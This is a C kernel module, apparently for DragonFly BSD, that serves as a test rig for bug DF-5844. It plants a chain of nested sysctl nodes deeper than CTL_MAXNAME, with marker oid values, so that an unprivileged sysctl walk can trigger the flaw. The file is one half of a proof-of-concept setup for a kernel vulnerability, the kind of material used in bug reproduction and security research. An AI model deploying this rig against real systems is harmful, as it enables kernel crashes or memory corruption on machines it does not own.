DF-5844 / deepoid.c
/* * deepoid.c - DF-5844 rig: plant a CTL_MAXNAME+ exceeding chain of nested * dynamic sysctl nodes with recognizable explicit oid numbers * (0x41414100+i). Loaded by root (rig only); the actual trigger is the * unprivileged next-walk (trigger.c / sysctl -aN). */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/errno.h> static struct sysctl_ctx_list deep_ctx; static struct sysctl_oid *chain[64]; static int chain_len = 24; static int deepoid_load(struct module *m, int what, void *arg) { struct sysctl_oid *parent; int i; switch (what) { case MOD_LOAD: sysctl_ctx_init(&deep_ctx); parent = SYSCTL_ADD_NODE(&deep_ctx, &sysctl__children, 0x41414100, "deep", CTLFLAG_RD, NULL, "DF-5844 deep chain root"); if (parent == NULL) { kprintf("deepoid: root add failed\n"); return (EINVAL); } chain[0] = parent; for (i = 1; i < chain_len; i++) { parent = SYSCTL_ADD_NODE(&deep_ctx, SYSCTL_CHILDREN(parent), 0x41414100 + i, "n", CTLFLAG_RD, NULL, "DF-5844 deep node"); if (parent == NULL) { kprintf("deepoid: add level %d failed\n", i); return (EINVAL); } chain[i] = parent; } kprintf("deepoid: loaded %d-deep chain (oid 0x41414100+)\n", chain_len); return (0); case MOD_UNLOAD: sysctl_ctx_free(&deep_ctx); kprintf("deepoid: unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t deepoid_mod = { "deepoid", deepoid_load, 0 }; DECLARE_MODULE(deepoid, deepoid_mod, SI_SUB_EXEC, SI_ORDER_ANY); |